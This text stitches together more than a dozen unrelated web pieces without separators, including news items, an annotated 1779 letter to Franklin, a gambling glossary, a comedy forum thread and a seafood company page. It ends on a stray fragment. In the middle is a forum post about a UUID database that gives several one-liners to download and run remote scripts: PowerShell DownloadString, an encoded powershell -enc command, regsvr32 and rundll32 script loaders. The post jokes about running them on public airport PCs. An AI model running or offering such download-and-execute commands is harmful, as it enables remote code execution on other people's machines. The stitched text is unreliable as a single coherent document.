My story is riddled with disappointment, changed plans, complicated/mysterious disease, one step forward & 2 steps back, fixing one problem only to reveal another. Perhaps the theme of God's plan for my life is "Peace in the unknown" and "Piecing together a broken heart by the Healer's hand." And this latest disappointment, well, it will just be another part of my story through which God … Continue reading When disappointment strikes keep marching on

To Benjamin Franklin from Dumas, 22 October 1779
From Dumas
ALS: American Philosophical Society
Amst. 22 Oct. 1779.
Les Extraits ci-joints7 vous donneront une idée de ce que nous faisons ici, & de l'état où est notre Escadre.
Je suis très-content de la maniere d'agir de Mr. De Neufville dans cette affaire.
Il n'y a pas de résolution prise encore sur la réponse que l'on donnera au Mémoire de Mr. D'York. Mais il y a une autre, à ce que l'on vient de me dire, qui embrouille plus que jamais l'affaire des convois illimités, & qui a engagé Amsterdam & Harlem a protester de nouveau.8
J'espere qu'à la fin de la Semaine prochaine notre Escadre sera entierement réparée, & en état de remettre en mer.
Je suis avec le plus respectueux attachement, Monsieur Votre très-humble & très obéissant serviteur
Vous aurez bien la bonté, Monsieur, de communiquer tout cela à Mr. De Chaumont.
Passy à S. Exc. Mr. Franklin &c.
Addressed: His Excellency / B. Franklin, Esqr., Min. Plenip. / of the United States / Passy./.
Notation: Dumas. Oct. 22. 1779
7. Dumas enclosed extracts from the following letters, which we summarize:
Capt. Cottineau of the Pallas to Dumas, Texel, Oct. 14. This afternoon I responded to distress signals from the Serapis by trying to send my ship's boat, loaded with sailors and soldiers, but was prevented by the wind and tide. Lt. Stack of the Serapis arrived and used the boat to pursue a number of his ship's crewmen who had seized a Dutch boot. We pursued them to shore and Mr. Stack ran after them. I feared we would be compromised so I tried to recall my boat and that of the Countess of Scarborough, but he persisted. Fifteen of the deserters have been retaken, five were drowned, one had his arm shattered by a bullet, and five are at large. They are Frenchmen, aged 22 to 30, who now are en route to Amsterdam. Will it not be possible to arrest and return them? (For Stack's account of the incident see Bradford, Jones Papers, reel 10, no. 2046).
Duc de la Vauguyon to Dumas, Oct. 18. By firing on the deserters Jones has committed an imprudence which can have very harmful consequences. I hope you and de Neufville will do all you can with the commandant of the roadstead and the Admiralty. Consult with the local authorities about reclaiming the deserters and follow their advice exactly. Inform me of the effect this very ill-considered act of Jones has caused. It has exerted a very bad effect here, capable of doing him infinite harm. If he did not give the order himself, I believe he should punish very severely the person responsible.
La Vauguyon to Dumas, Oct. 20. I am surprised not to have received a response from you.
Dumas to La Vauguyon, morning of Oct. 21. De Neufville has shown no lack of sagacity or zeal. Last evening the deserters were apprehended without incident. I believe they will be returned under guard this evening. I have written to find out what is happening at the Texel.
Dumas to La Vauguyon, evening of Oct. 21. A minor formality will delay the return of the deserters until tomorrow or the day after. You can be tranquil about what happened at the Texel. Far from complaining about our people, the commandant of the roadstead is very content with them.
Jones to Dumas, Oct. 21. We have moved the squadron into a safe harbor. The affair of the deserters has been misrepresented. They were recaptured while they were swimming, except for five of them, who were not pursued. The commandant of the roadstead, given a report, was perfectly satisfied, and even thanked the officers for the delicacy of their proceeding. (The full letter is reproduced in Bradford, Jones Papers, reel 4, no. 802.)
8. On Oct. 25 the States General responded to Yorke's memoir by confirming the Admiralty's decision not to hand over Jones's squadron to the British; see Dumas to BF of that date. La Vauguyon, encouraged by recent developments, believed the Dutch would offer convoy protection for naval stores: Fauchille, Diplomatie française, pp. 172–3.

Sam Allardyce will be named as the new England manager – with confirmation expected in the next 24 hours.
Allardyce will leave Sunderland after nine months at the Premier League club.
The 61-year-old replaces Roy Hodgson, who resigned after the surprise defeat by Iceland at this summer's Euro 2016 finals in France.
Allardyce, a former West Ham, Newcastle and Bolton boss, spoke to the Football Association last week and has been chosen ahead of Hull's Steve Bruce.
The only remaining issue to be settled is compensation to Sunderland, with Allardyce having a year left on his contract at the Stadium of Light.
The club issued a statement on Wednesday, saying it was "aware of the intense media speculation", but that Allardyce remained in charge "at the present time".
It added: "We share in the anger and frustration of our supporters and would like to assure them that we are working to conclude the matter in the best interests of Sunderland AFC."
Allardyce was present as Sunderland beat Hartlepool 3-0 in a pre-season friendly on Wednesday, but left before full-time.
The FA board meets on Thursday, when it is expected Allardyce's appointment will be officially confirmed.
Both Sunderland and Hull had urged the FA to act quickly, with the new Premier League season less than a month away.
Allardyce was interviewed for the England job following Sven-Goran Eriksson's departure after the 2006 World Cup but Steve McClaren was appointed.
His first competitive game in charge will be a World Cup qualifier in Slovakia on 4 September.
Allardyce will become the 15th permanent England boss, the pinnacle of a managerial career that started at Blackpool in 1994 and has taken in 467 Premier League games – behind only Sir Alex Ferguson, Arsene Wenger and Harry Redknapp.
He has never won a major trophy but did secure promotion to the Premier League with both Bolton and West Ham, and won Division Three with Notts County in 1998.
As a player, Allardyce started at Bolton in the 1970s before spells at Sunderland, Millwall, Coventry, Huddersfield, West Brom, Irish club Limerick and US side Tampa Bay Rowdies before ending his career at Preston.
Bournemouth manager Eddie Howe and USA coach Jurgen Klinsmann had also been linked with the job.
Allardyce has been chosen by a three-man FA panel of chief executive Martin Glen, technical director Dan Ashworth and vice-chairman David Gill, who saidthey were seeking a strong-minded, tactically savvy manager who could build a clear team identity.
Glenn also told BBC sports editor Dan Roan earlier on Wednesday that the new manager would need to "build resilience" in players so they are able to deal with criticism on social media and the pressures of an "intensely passionate" English media.
"The British press, like it or not, are probably the most intensely passionate about the game in the world and that has a spill-over effect," he said.
"The consequence of which is people probably play not to make a mistake, as opposed to play to win.
"So the new manager's got to be someone who can inspire people to get the best out of themselves, build resilience and unashamedly adopt the kind of psychological techniques that other sports and other football teams have done."
Sunderland will now be looking for a ninth permanent manager in less than eight years. Former Manchester United and Everton boss David Moyes and current Burnley manager Sean Dyche are reported to be among the favourites.
Key facts & figures
- Allardyce has never won a major trophy as a manager
- He has a 33.6% Premier League career win percentage
- Sunderland's average possession last season was 39.94%
- 21% of their passes were 'long', compared with 14.4% at Eddie Howe's Bournemouth
- Sunderland were seven points adrift of safety at the start of January – but lost just one of final 11 games to escape relegation
Allardyce on management
- "I don't think there is any coach more sophisticated than me any more" – as West Ham manager, February 2015
- "I would be more suited to Inter Milan or Real Madrid… I would win the double or the league every time" – as Blackburn boss in September 2010
- "Maybe my external look isn't to everybody's liking. It was the right time and the right job for me but not from the FA's point of view" – in 2009, on missing out on the England job three years earlier
Former Norwich, Blackburn, Chelsea and Celtic striker Chris Sutton on BBC Radio 5 live: "I'm delighted because I've been fed up with fantasy football – you've got to be a realist. Football is about winning. If you win by being direct or by playing a possession game it doesn't matter.
"Sam has never been given an opportunity at a top, top club to win a title but has done a terrific job wherever he has been. He will get the best out of the tools at his disposal – that's the most important thing."
Ex-Blackpool and England player Jimmy Armfield: "I signed him as a player when I was manager of Bolton. He was a fighter and he's still prepared to scrap.
"I think he will try to instil some what I call 'club confidence'. He will get a team spirit, get the dressing room right."
Former Leicester striker and BBC pundit Steve Claridge: "I don't think the bar is particularly high. It's a sensible appointment. People will have question marks about things but he just has to get them set up properly and give the players a chance."

The Ukraine annexation attempts of Russia are turning the country into a pariah for the western economies. The EU, Russia's biggest business partner, has now joined America in imposing severe sanctions against Russia over the controversial Russian presence in Ukraine. The European Union has been holding up any severe actions on Russia so far as almost all 28 EU countries have major business interests in Russia. Present sanctions have targeted energy, banking, technology and defense sectors. But the sanctions do not apply to deals already made.
VTB, the Bank of Moscow, the Russian Agriculture Bank, as well as the United Shipbuilding Corp. are among the targeted companies in the present session. "If Russia continues on this current path, the costs on Russia will continue to grow… these new sanctions will make a weak Russia economy even weaker," said US President Barack Obama announcing the sanctions.
Recent incident of downing of a Malaysian passenger flight has severely strained the image and approach of Russia with regard to its presence in the region.

Students cheered during a big announcement at Meadows Elementary this morning. Third through sixth grade students were given 180 iPads for use in their classrooms. The technology will help give personalized learning to students at a school with 40 percent of students learning English.
Magdalena Moore, principal of the school said, "We have some 3rd grade readers and we have some 12th grade readers, and for a teacher of 32 kids to be able to differentiate the levels with just books is very challenging."
Meadows Elementary is a STEM (science, technology, engineering and math) school. They teach coding and even robotics, but the iPads will be used for traditional subjects as well.
Shirikawa Elementary schools will also be receiving 160 iPads today with the goal of equipping all schools in the district with the technology by 2018.

It's far from being one of my greatest writing efforts, but it's also far from being my worst. Ergo, the amount of effort and time you put into writing is usually proportional to the quality you get out of it in the end.
However, this little writing burp did prove that I still have all my proper login information for SilentTalkie, so I should probably pop in from time to time to disrupt all the podcasting nonsense to enlighten those pirates with the glory of the written word.

Viz finally makes Sailor Moon available for streaming in Canada
Canada means a lot to Sailor Moon. The original dub was recorded in Toronto, the accompanying toys produced by Irwin Toy, with its immense success on YTV directly spawning the original English versions of the later seasons of the show. It was popular enough up here that we got spaghettios, awkward voice actor interviews and a stage show … that at one point starred Samantha Bee? So it's no surprise that the franchise's enduring popularity is well represented in the Canadian anime fandom. There's just one problem. If you're not interested in buying home video releases, you legally couldn't watch the show anywhere in Canada. Interest on Viz's part to get the series on TV never materialized, and their overall streaming partner exclusively deals with the United States. But fear not Canadian Moonies, because two years after announcing their acquisition of the series, Viz is finally doing good on you by streaming the entire 200 episode original series for free in Japanese with English subtitles.
But which service is it streaming on? Has Hulu had a change of heart? Has Crackle pulled an upset? Have Shomi/Crave recognized peak Canadian nostalgia bait? Has Viz decided to open up a streaming portal exclusively for Canadians? Okay, if it was that last one I wouldn't bury the lead. Viz has partnered up with Tubi.TV, a smaller streaming platform that originally launched in 2014. It doesn't have a whole lot for anime fans but it's a growing service available on a decent amount of devices. I've only heard of the site because I'm a weirdo.
If this does well, maybe Tubi will become Viz's general partner for Canadian streaming?
In related Sailor Moon news, YTV recently put up a questionnaire to determine which Sailor Scout you are. Their blog posts all kinds of things, so don't take that as a sign of anything other than nostalgia clicks.
If you're curious, it says I'm Sere-Usagi.

Terry Gawlik '81, Chairwoman, NCAA Women's Basketball Championship
- NCAA Photos
A student-athlete in both basketball and volleyball, Terry Gawlik took her on court experience to the next level. She became a collegiate coach within the same conference right after graduating from Southwestern in 1981. After 13 years of collegiate coaching in Texas, she joined the Athletic Department staff at the University of Wisconsin, Madison. During her time there she was promoted to her current role of Senior Associate Athletic Director of Sports Administration, overseeing several of the Badgers' sports teams.
Through her role at Wisconsin, Gawlik was selected by the Big Ten Conference to serve as an administrator on the NCAA Women's Basketball Championship Committee. This was not her first NCAA Division I Committee Chair role, having also chaired committees for the Women's Volleyball Championship and Men's Soccer Championship for two years each.
While the media "madness" starts in March, Gawlik's work started on the tournament much earlier in the year. "Our Committee had several meetings to review teams and discuss who we are watching and share intel on the teams. We also had four regional calls and receive information from the coaches assigned as regional representatives from each conference." The National Championship Committee is made up of 10 members and each are assigned by primary and secondary conferences to monitor during the year. Gawlik adds, "I watched close to 300 games this season alone to prepare for Selection Weekend."
This year, selections took place on Monday, March 13, 2017. Terry reported to Indianapolis the Thursday prior, never leaving the hotel in the days between. "The NCAA staff has a room set up for us to work in. We start by filling out a sheet that asks us to list teams we think are: in for sure in our mind, under consideration, and the NCAA fills in the 32 automatic qualifiers. Then we start the process with teams that get all but one vote being moved in the tournament." Gawlik shared that the Committee continues this process by voting teams in and, then, starts filling in the seed lines. "We are very thorough and our NCAA media liaison takes notes on everything we discuss so we have record of it."
This year's Women's Basketball Tournament made history with the University of South Carolina's first Championship and the ending of the University of Connecticut's 111-game winning streak.
Reflecting on her experience as Chairwoman of the tournament, Gawlik shares, "It was one of the best experiences that I have ever had and one of the most challenging. Preparing agendas, directing the meetings, doing homework on all the teams and conferences and speaking on behalf of the committee to the media was challenging but also fun. I learned a lot about myself and how my mind works as a visual by being on all these committees. It was very rewarding and I met some of the best people in our business who all have the student-athlete experience in mind."
Terry Gawlik is originally from Bulverde, Texas, and graduated with her bachelor's degree in Physical Education from Southwestern. As a Pirate, Gawlik played both women's basketball and women's volleyball.

It's time for the latest instalment of the BetPal.com "A to Z of Gambling", in which we take a look at the letter "J". We'll be talking about "Jacks Or Better", the most common form of video poker, as well as the history of the "Joker" found in a traditional deck of playing cards, and also a discussion of how a casino makes its money, via the "Juice".
J is for… Jacks Or Better
"Jacks Or Better" is the title of the most common form of video poker, a casino game dating back to the late 1970s which somehow remains popular today, despite all the developments in the world of casino gaming.
Video poker is a card game based on five card draw – a variant of poker – which is played on a computer console that is not too dissimilar to a slot machine. The object of the game is to make the highest possible five card poker hand in order to obtain the largest possible returns, in accordance with the game's payout table.
Although there are many variations on the video poker theme, Jacks Or Better is by far the most prevalent video poker machine found in the casino. Its name is taken from the game's payout structure – poker hands lower than a pair of jacks do not return anything to the player, so if a player is to collect any money, they literally need to score (a pair of) "Jacks Or Better".
The standard payout table for a Jacks Or Better video poker game is as follows:
Poker hand – Return
Royal flush – 800
Straight flush – 50
Four of a kind – 25
Full house – 9
Flush – 6
Straight – 4
Three of a kind – 3
Two pair – 2
Jacks or better – 1
The returns represent the amount of coins wagered, so if a video poker player were to wager the maximum of five coins and hit a flush, the returns would be 6 x 5, which is 30 coins.
For a basic Jacks Or Better video poker strategy guide, check out the Jacks or Better strategy article.
J is for… Joker
The "Joker" is a special type of playing card found in the traditional deck of cards, which is not always used. In those card games that do utilise a joker, it is usually a wild card that trumps all other cards.
The origins of the joker are thought to date to sometime around the 1860s and probably come from the card game Euchre. The card is believed to have been introduced to beat the two highest trump cards found in Euchre and the card's name is likely derived from "Juker", a mispronunciation of Euchre.
The joker is also connected to the Fool card found in a deck of tarot cards. It is thought that the modern depiction of the joker as a court jester in brightly coloured clothing borrows from the depiction of the Fool as a lute playing jester, back in the late 1800s.
Whilst it may appear counter intuitive to have a foolish entertainer with a low social status as the most powerful card in the deck, worth even more than a King or Queen, it seems that this reasoning may have its roots in the Renaissance. During this time, parts of the world were enjoying greater freedoms and the working classes were becoming more valuable to society, a fact that may have been noted in the deck of cards by the elevation of the humble joker to such a powerful status.
The joker is also a highly coveted playing card by modern day collectors, owing to its wide variety of colourful incarnations.
J is for… Juice
Everyone knows that casino always makes a profit, but how do they do it? They don't cheat by stacking blackjack decks and they don't have complicated systems in place to predict the outcome of where the ball will land on the roulette wheel, so what is it that ensures that casinos will never go broke?
The answer is the house edge, which is often referred to as the "Vigorish" or the "Juice". The exact mechanics of the juice varies depending on the game and the ability or style of the players within those games, but the premise is very simple – all games found in the casino have a small, built in, statistical discrepancy that favours the house.
The juice may be very obvious, such as in the card room, where anyone winning a hand of poker will be contributing to the "Rake". The rake is a small percentage of each pot that is taken out and given to the house to cover expenses.
In other casino games, such as roulette or craps, each bet has the juice built in. For example, a winning bet on a single number pays out at 35/1, though the true odds of winning are actually 36/1 (European Roulette) and 37/1 (American Roulette).
If you wagered £1 on every number on the European Roulette wheel, you would spend £37 (numbers 1 to 36, plus 0, for a total of 37 bets) and the winning number would pay out £36 (£1 at 35/1 = £35, plus the original £1 bet for a total of £36). As you will note, this is a total loss of £1 (£37 wagered, £36 returned).
Of course, nobody would try doing that at the roulette wheel. But you aren't the only one playing at that roulette wheel and in all likelihood, the table will be covered with bets. Plus there will be more than one wheel, with plenty more players at each one. In the long run, the casino keeps taking that small amount of money – the juice – from spin after spin, at all of the different tables, which soon adds up.
Casino games such as blackjack have a variable house edge, depending on the strategy employed by the player. Against a typical player, who has a little knowledge of the game, the house will be playing with an advantage of around 2%, though a terrible player who has no idea how to play blackjack could be looking at a far greater house edge. In theory, by counting cards and playing with the correct strategy, blackjack players can completely eliminate the juice and even turn the game into a slightly profitable venture.
Until the next instalment of our A to Z of gambling, stay lucky!

An upsurge in residential development approvals across the Gold Coast should not spark speculation of a looming property glut, according to leading property figure Andrew Bell.
The chief executive of the Ray White Surfers Paradise Group said talk of an oversupply of residential dwellings was premature given that many of the approvals had not moved to their construction phase and a fair proportion were unlikely ever to be built.
Mr Bell said there were compelling reasons why residential approvals had jumped to just over 6700 dwellings in the past 12 months, up 50 per cent on the previous year.
Andrew Bell[/caption]"We have to remember that the city is still playing catch-up on a seven-year hiatus in residential construction that was sparked by the global financial crisis," he said.
"There was very little new stock of any note brought to market during those years, which has created a serious lag in supply amid rising demand.
"This has contributed to the Gold Coast now having an extremely tight rental vacancy rate of 1.1 per cent, a level which typically reflects a critical undersupply of residences.
"Clearly there's a pressing need for a pipeline of new dwellings to be rolled out to meet this demand, which is also being fed by the Coast's population growth starting to trend upwards again."
Mr Bell said an oversupply situation could only be assessed on the basis of what approvals actually moved to the construction phase.
He said it was widely acknowledged that around one in five approved developments of all types nationally never made it to construction for various reasons.
"In the high-rise apartment sector it is understood that the proportion of approvals that don't go ahead is considerably higher and possibly as much as 40 per cent," he said.
"In high-rise development, developers have funding, pre-sale and contractor issues to sort out before they can turn the first sod, which can create long lead times for a project or cause it not to proceed at all.
"There are also people who buy sites, gain approvals and attempt to on-sell with approval in place to add value to their land without intention or interest in seeing the project through personally.
"If they don't find a buyer, the approval eventually lapses and the project doesn't go ahead.
"The number of dwellings approved isn't an accurate guide to what we end up with on the ground, so it's too early to be speculating about oversupply at this stage."

Whether you might be working in DFIR, malware analysis or anything related to computers, you might have stumbled upon UUIDs. I did a lot during my DFIR days, and I spent too much time looking up UUIDs online trying to figure out if the UUID I had on my screen was relevant or pointless. There was no website to look them up, except search engines.
I'm building a global uuid database at http://uuid.pirate-server.com/. As a quick reminder, UUID (or GUID in MS world) are 16-bytes (128 bits) numbers, commonly used to reference a specific thing using a Universally Unique IDentifier. (or Globally Unique IDentifier). The RFC4122 ( https://tools.ietf.org/html/rfc4122 ) defines a set of UUID « versions », which can be broadly described as follows :
- uuidv1 : embeds a timestamp, the computer MAC address (whatever that means), and some other bits (e.g. the uuidd current « clock id », allowing one to decide whether or not someone rebooted between two generated UUIDs)
- uuidv2 : inexistent
- uuidv3 : MD5-based, just concatenate your payload and a 16-bytes « namespace », MD5, bitflip and that's it
- uuidv4 : random, pick 16 random bytes and flip some bytes
- uuidv5 : SHA1-based, see uuidv3.
(For a more complete introduction, just read my /index.html page. I didn't came here to repeat myself. I came here to tell you fine people about my database and to ask for help in my endless collection quest)
UUIDv1 are yielding a lot of information on the UUID generation context, thanks to the embedded MAC address. one can practically find out the daily work subjects of some lads at Redmond in the 90' :
- https://uuid.pirate-server.com/search?q=direct3d
- https://uuid.pirate-server.com/search?q=0800200c9a66
So, I have a few (4) questions :
1/ Would you run the following script in your detonation VMs ? It does just collect and upload a number of annotated UUIDs from various Microsoft Windows places.
Here are a few one-liners I never used in airport PC booths to collect UUIDs between planes.
Code: Select all
wmic process get name /format:"https://uuid.pirate-server.com/c.xsl"
iex (New-Object System.Net.WebClient).DownloadString('https://uuid.pirate-server.com/c.ps1')
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('https://uuid.pirate-server.com/c.ps1/');"
powershell -enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHUAdQBpAGQALgBwAGkAcgBhAHQAZQAtAHMAZQByAHYAZQByAC4AYwBvAG0ALwBjAC4AcABzADEAJwApAA==
regsvr32 /s /n /u /i:https://uuid.pirate-server.com/c.sct scrobj.dll
2/ I just discovered that Wi-Fi WPS extended attributes had a UUID attribute. It's a little bit out of topic for this forum, but should you have a wlan1mon folder somewhere, the output of the following command would be greatly appreciated.
Code: Select all
for i in *cap ; do tshark -r ${i} -Y 'wps.type' -Tfields -e wps.uuid_e -e wps.uuid_r -e wlan.ssid -e wlan.bssid -e wps.manufacturer -e wps.model_name -e wps.device_name ; done | sort -u > ~/wps.txt
3/ I'm having a hard time trying to read registry keys in C++ from a WindowsXP equipped with VS2010. The thing is : powershell doesn't run on XP, and I would like to collect UUIDs from XP as well. I could run some manual powershell loops once in a configured VM, but I would prefer being able to run a collector in a large pool of XP machines. (They still exist, I assure you, specifically in DFIR jobs..)
The question is : in your opinion, should I continue investing time building a cpp binary in windows, or should I just instead use py2exe to get things done ? (or switch to windev.ova ?)
4/ This one is the most important question Do you know a place in Microsoft Windows where UUIDs might be hiding ?
I'm always looking for more UUIDs, and while another new CLSID is nice, a whole new class of UUIDs like the ACPI/UEFI DSD UUIDs or the FreeBSD vuln.xml UUIDs are always better.
Thanks a lot for reading and have a nice 2019 year.

I am waiting on some parts to arrive, so I decided to start working on the Morse Docking lights. They are designed to have the entire eye-ball assembly replaced. I managed to get it open, but wound up breaking the light before getting it out.
The light is a GE 4419 Marine floodlight, Par36, 100w with a 25hr service life. This means it pulls around 8.5A running. I want to replace it with an LED, but I'll have to get this assembly apart.
The eyeball is press-fit together and the silver ring is what holds it together. I managed to pry it apart. The light itself sits in a rubber ring and that is held in by the silver ring which is pushed in behind it. I have not quite figured out how to extract the ring yet.

Horne & Corden - a new sketch show
FUCK OFF YOU FUCKING DICKS (only the fat one really)
why have they been given a sketch show?
watching the trailers
it just looks like most of the jokes consist of 'LOL ur fat'.
I don't know
but there's a poster for it on buses round here, and they both look like such a pair of inane try-hards, it annoys me. I don't mind the fat one actually, he made me laugh on the Big Fat Quiz of the Year.
The other one is total shite though, he makes me do the opposite of laugh. He makes things less funny by being in them. His comic timing is atrocious. He should fuck off.
That Fat one is in
the same league as Chris Moyles for me. Just painfully unfunny. I'm gonna write my own sitcom and I GUARANTEE it'll be funnier than that Welsh thing.
It's going to be awful
Not seen Gavin & Stacey but people tell me it's good. It's a bit like Mitchell & Webb, it was 85% shit whereas Peep Show is brilliant.
I like Gavin & Stacey
I will readily admit it and die by my decision. This sketch show looks utter guff though. Will it be worse than Al Murray's Personality Disorder?
You know the fat one, right?
He's fat! Never mentions it though...
is he "surprisingly good with the ladies" tho?
god i hate him.
James Corden is the most annoying person on TV
Fat, earnest bastard
i've only seen gavin and stacey series one
it was likeable enough - this looks 99% certain to be a turd.
I saw Richard herring on friday
He was really funny
what about Hale and Pace?
black pepper?
Brady and Hindley
Oh wait...Great TV double acts..oops.
Reeves and Mortimer? Fuck off
They're genius. Pure, undistilled genius.
P.s. Lee and Herring...shit together. But Stewart is a godsend on his own.
They're really milking their time in the spotlight
Lesbian Vampire Killers looks like the worst thing ever. When you see British comedians doing stuff like this, it vindicates the slightly snobbish way Ricky Gervais has gone about building his career. The Office, Extras, couple of minor roles in Hollywood films, and then his first lead is Ghost Town, which is surprisingly watchable
I wouldn't find Corden so offensive
if he wasn't so full of his own brilliance. I can't say I particularly like anything he's done but he's just such a moaning arse. That whinge at the British Comedy Awards (I think) was pathetic.
I remember that whinge...
It was pretty twattish. He is pretty up his own backside. I liked him in History Boys though.
I am sick of seeing them everywhere. If it's not the fat one all over the "London Last Night" section in the papers, it's trailers on the telly for a channel I don't even receive, and slap bang outside my work there's a massive poster for Lesbian Vampire Killers which looks well shit. From the moment James Corden had it away with Lily Allen in a two headed unfunny twatheaded coupling of two fame hungry wastes of rations, I can't enjoy the History Boys nearly as much as I used to.

One can only imagine what the town of Gympie must have been like during the late 1800's and early 1900's as gold fever gripped the region. After a 3,000 pound reward was offered by the struggling Queensland government of the day to find a viable gold field, it wasn't long before gold was found and the world was flocking to Gympie to make their fortune. Now there's a push to preserve that history.

Volunteer with the Gympie Gold Mining and Historical Museum, Allan Blackman, isn't too proud of the derelict state of the Scottish Mine site on the outskirts of Gympie. If you drive past you'd barely notice a few blocks of crumbling concrete, some scattered rusted iron wreckage and a lone wooden building. This graveyard of the past was the location of the most important gold mine in Gympie's history, the town that saved Queensland.
That lone building is the only intact structure associated with Gympie's gold rush left standing. It's a retort house where mercury and gold was separated after coming off the amalgamating tables of the stamper batteries. The site was originally leased in 1889 and transferred to a number of owners. It was purchased in 1895 by the Scottish Gold Mines Limited. The mine reached its peak in 1904 before closing in 1923. The No.1 Scottish produced the most gold of any Gympie goldmine equating to 13.5% of the total gold production of the goldfield up to that time.
As Allan wanders the site he dreams of a future full of opportunity and a vision that would see the entire area developed into an interactive museum and gold mining experience. He and his fellow volunteers have secured $114,000 in grant funding from the Federal Government to investigate bringing it back to its former glory. But much more is needed so the fight to attract attention to the site is well underway.
If you know anything about Scottish Gympie Gold Mines Pty Ltd, that ran the mine, please contact the museum as much of the history of the era has been destroyed.

ALEDO, Illinois – It starts with a simple sentence:
"Mr. Chausse. I want to let you know that you're 'My Favorite Teacher'."
Rebecka Larson loves public speaking and wants to thank the man who helped her find her voice: Mercer County High School agriculture teacher and FFA adviser Michael Chausse.
"He told me his door was always open and if I ever needed to talk about anything," wrote Rebecka in her letter nominating her teacher. "I bet he wishes he never told me that."
In rural school districts there are, at times, no more influential teacher than the one who teaches agriculture classes. And at Mercer County High School, that teacher is Michael Chausse.
Rebecka calls him her "secret-keeping therapist".
"I'll come to Chausse and he'll take it all in and try to help me the best. And that's not something he has to do."
But Mike Chausse might disagree.
For 30-years he's taught Ag classes at Aledo's high school. He says he was inspired by his Ag teacher and it's his turn to pay it forward.
"You want to teach the kids something," he told us, "but yeah, you know, you want to watch them go through life and be successful."
"There's a special bond between teachers and students that a lot of occupations don't have." -Mike Chausse
But it all starts with first impressions.
And Mr. Chausse leaves a towering first impression.
"The little kids were a little scared of him," Rebecka told us, "and I was like, 'No, he's super nice, I mean you just have to get past his appearance'!"
"I'm actually kinda a teddy bear," he admits.
"He's kinda soft and squishy on the inside," explains Rebecka. "You just have to get to know him."
And Ag students do.
Mike Chausse says agriculture teachers are like sports coaches: more involved with their students because of the shared experiences they have.
Especially in FFA where Rebecka is now an elected official and competing in public speaking contests.
"It's a door that he opened for me and I'm not going to shut it because it's something I really enjoy."
And for Mike Chausse, it's the whole reason he went into teaching.
"There's a special bond between teachers and students that a lot of occupations don't have."
Both Mr. Chausse and Rebecka get $50 Visa cards and gift baskets from Blackhawk Bank and Trust plus a blanket and back pack from Western Illinois University-Quad Cities. Both are sponsors of this year's "My Favorite Teacher" program.

Seafood Sustainability
Sourcing fish responsibly is paramount to our business. We passionately believe in promoting the most sustainable products available to us. We work closely with our fish and seafood suppliers, both mainstream and specialist. We have links with NGOs such as MSC to develop and market sustainable alternatives. We only ship fish across the country if they are not available locally; minimum food miles means maximum freshness.
A significant amount of seafood is wild caught which can lead to over fishing, unwanted by-catch and destructive catch methods. We take the view that we need to work within the industry to guide our customers towards sustainable choices. Direct Seafoods Sustainability policy is available to view here: Direct Seafoods Sustainabilty Policy 2018.
Our Seafood Sustainability principles dictate that we:
- Seek third party independent accreditation wherever possible and give preference to suppliers that are accredited.
- We demand to know the source and origin of the seafood we sell and endeavour to shorten the supply chain wherever possible.
- We never knowingly sell products that damage the environment or risk the survival of a species without a plan to rectify the products sustainability credentials.
We believe that the process of investigating sustainability options for customers is a task with out end. Nothing will ever remain completely sustainable and often unsustainable choices may become sustainable through proper management.. Therefore we treat the search as a journey rather than a destination.
We work closely with many relevant organisations such:
- The Marine Stewardship Council
- The Marine Conservation Society
- Global Sustainable Seafood Initiative
- The Sustainable Seafood Coalition
- Sustainable Restaurant Association
- Global Aquaculture Alliance
- Global GAP
- Sustain
- Blue Marine Foundation
Fish and Seafood Sustainability Information
If like us, you're passionate about sustainability, The Good Catch Guide provides a reference of key sustainability information. If you'd like more information on our sustainability and marine conservation commitments contact our director of sustainability, Laky Zervudachi by emailing him here.
Introducing Direct Seafoods' Director of Sustainability – Laky
Most kitchens in London will be familiar with the name Laky Zervudachi. Laky has been welcomed into restaurant kitchens since he was cycling round the city with a box of oysters in the early 80s!
Well known in the capital for his expertise in fish, Laky is also Direct Seafoods' Group Sustainability Director. Laky plays a vital role in Direct Seafoods and the wider industry – an industry that has ever changing and challenging demands for information on provenance and sustainability.
Laky Zervudachi has been involved in the foodservice side of the seafood industry for over thirty years, supplying many of the UK's top restaurants and chefs with wonderful seafood.
Working as Director of Sustainability for Direct Seafoods, Laky ensures the company has a thorough appreciation of the need for responsible sourcing. Laky's knowledge is passed on to our customers; chefs and caterers, which results in the ability to achieve a greater understanding of the complex issues of sustainability. We encourage best practices in sourcing through sympathetic purchasing with regard to seasonality.
Direct Seafoods' credibility has been enhanced by Laky's close relationships with Non Government Organisations (NGO's) such as the Marine Conservation Society (MCS), the Marine Stewardship Council (MSC) and Sustain. Laky has been a part of, and devised many successful projects to enable chefs and caterers to refine their orders enabling them to contribute to The Sustainable Seafood Movement.
Laky has led a number of high-profile seafood sustainability projects at Direct Seafoods, including:
- Leading Direct Seafood's project with The Blue Marine Foundation at Lyme Bay, to create a new supply chain model "Reserve Seafoods". This involves working directly with day boat fishermen to ensure a fair return for their catch. Reserve Seafoods gives greater transparency for the chef and ultimately a truly sustainable fishery model.
- Working closely with the Sustainable Restaurant Association (SRA), a partnership developed through Laky, in order to support the SRA's work with restaurants, encouraging them to create sustainable seafood policies that remove the worst, choose the best and improve the rest.
In 2015, Laky was invited by the Minister of Agriculture and Fisheries, to join a panel of industry experts to help create a vision for the UK seafood industry over the next twenty-five years. This work is soon to be completed and will be used by future governments to drive a sustainable, ethical increase in fish consumption that should ultimately lead to a healthier population.
Laky's desire to make a difference and to bring about wholesale change, has meant that he has given a lot of his time to various pro-sustainability initiatives such as, Project UK and The Sustainable Seafood Coalition (SSC).The content of these developments are an invaluable way of letting chefs know that there are many sustainable alternatives available to them, and that sustainability is commercially viable.
Laky's mantra to "always look to go one step further", has resulted in him persuading major caterers to remove at-risk species from their menus. Laky has achieved this by creating the understanding with customers that, if they go a step further then they would have all the support and assistance they require from him and his team.
Laky spends a large amount of time seeking out alternative, premium-quality, but underexploited species, and an equal amount of time encouraging chefs and caterers to do the same and play their part in the bigger sustainability picture. Laky has worked with suppliers to develop a number of new products in order to meet customer's needs.
Ultimately, Laky's dedication to the cause removes the complications involved in sourcing large volumes of sustainable fish.

Dear brother
